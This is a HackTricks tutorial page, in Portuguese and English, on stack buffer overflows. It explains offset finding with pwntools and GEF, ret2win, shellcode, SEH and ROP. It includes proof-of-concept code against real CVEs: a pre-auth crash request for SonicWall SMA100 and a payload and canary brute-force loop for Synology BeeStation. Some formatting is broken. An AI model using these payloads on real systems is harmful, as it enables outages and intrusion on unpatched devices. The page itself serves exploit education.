Stack Overflow

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

• Confira os planos de assinatura!
• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
• Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

O que é um Stack Overflow

Um stack overflow é uma vulnerabilidade que ocorre quando um programa escreve mais dados na stack do que o espaço alocado para ela. Esse excesso de dados irá sobrescrever espaços de memória adjacentes, levando à corrupção de dados válidos, à interrupção do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema frequentemente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.

O principal problema dessa sobrescrita é que o ponteiro de instrução salvo (EIP/RIP) e o ponteiro base salvo (EBP/RBP) para retornar à função anterior são armazenados na stack. Portanto, um atacante poderá sobrescrevê-los e controlar o fluxo de execução do programa.

A vulnerabilidade geralmente surge porque uma função copia dentro da stack mais bytes do que a quantidade alocada para ela, podendo assim sobrescrever outras partes da stack.

Algumas funções comuns vulneráveis a isso são: strcpy, strcat, sprintf, gets… Além disso, funções como fgets, read & memcpy que recebem um argumento de tamanho, podem ser usadas de forma vulnerável se o tamanho especificado for maior do que o alocado.

Por exemplo, as seguintes funções poderiam ser vulneráveis:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Encontrando offsets de Stack Overflows

A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de As (por exemplo python3 -c 'print("A"*1000)') e esperar um Segmentation Fault indicando que houve uma tentativa de acessar o endereço 0x41414141.

Além disso, uma vez que você descobriu que existe uma vulnerabilidade de Stack Overflow você precisará encontrar o offset até que seja possível overwrite the return address, para isso normalmente é usada uma De Bruijn sequence. Que, para um dado alfabeto de tamanho k e subsequências de comprimento n, é uma sequência cíclica na qual toda subsequência possível de comprimento n aparece exatamente uma vez como subsequência contígua.

Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como padding uma dessas sequências e então encontrar o offset dos bytes que acabaram sobrescrevendo-a.

É possível usar pwntools para isso:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

ou GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
A forma mais comum de abusar desse tipo de vulnerabilidade é modificando o endereço de retorno para que, quando a função terminar, o fluxo de controle seja redirecionado para onde o usuário especificou nesse ponteiro.

However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:

Ret2win

Stack Shellcode

In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.

Windows Seh Overflow

ROP & Ret2… techniques

This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall…) that will end executing arbitrary commands by abusing existing instructions in the binary:

ROP & JOP

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

Heap Overflow

Types of protections

There are several protections trying to prevent the exploitation of vulnerabilities, check them in:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance. A rotina vulnerável dentro de /usr/src/EasyAccess/bin/httpd tenta extrair a versão e o endpoint de qualquer URI que começa com /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);

1. A primeira conversão (%2s) armazena com segurança dois bytes em version (por exemplo "v1").
2. A segunda conversão (%s) não possui especificador de comprimento, portanto sscanf continuará copiando até o primeiro byte NUL.
3. Porque endpoint está localizado na stack e é 0x800 bytes long, fornecer um path maior que 0x800 bytes corrompe tudo o que fica após o buffer ‑ incluindo o stack canary e o saved return address.

Uma prova de conceito de uma única linha é suficiente para provocar o crash antes da autenticação:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Mesmo que stack canaries abortem o processo, um atacante ainda consegue um primitivo de Denial-of-Service (e, com additional information leaks, possivelmente code-execution).

Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) continha múltiplos stack-based overflows alcançáveis através de sua HTTP API. O padrão vulnerável apareceu repetidamente em http_server.cc e sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}

1. evbuffer_peek (libevent) retorna o número de segmentos de buffer internos que compõem o corpo da requisição HTTP atual.
2. Cada segmento faz com que um evbuffer_iovec de 16-byte seja alocado na stack via alloca() – sem qualquer limite superior.
3. Ao abusar de HTTP chunked transfer-encoding, um cliente pode forçar a requisição a ser dividida em centenas de milhares de chunks de 6-byte ("1\r\nA\r\n"). Isso faz com que n cresça sem limite até que a stack seja esgotada.

Prova de Conceito (DoS)

</details>
Uma requisição de ~3 MB é suficiente para sobrescrever o saved return address e **crash** o daemon em uma build padrão.

### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

A cadeia do Synacktiv no Pwn2Own 2025 explorou um overflow pré-auth em `SYNO.BEE.AdminCenter.Auth` na porta 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes o input do atacante para um buffer de stack de 4096 bytes, mas define incorretamente `decoded_len = auth_info->len`. Como o CGI worker faz fork por request, cada filho herda o stack canary do processo pai, então um primitive de overflow estável é suficiente para corromper a stack e leakar todos os segredos necessários.

#### Base64-decoded JSON as a structured overflow
O blob decodificado precisa ser um JSON válido e incluir as chaves `"state"` e `"code"`; caso contrário, o parser falha antes que o overflow seja útil. A Synacktiv resolveu isso ao Base64-encodear um payload que decodifica para JSON, seguido por um byte NUL, e então o overflow stream. `strlen(decoded)` para no NUL, então o parsing tem sucesso, mas `SLIBCBase64Decode` já havia sobrescrito a stack além do objeto JSON, cobrindo o canary, saved RBP e o return address.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")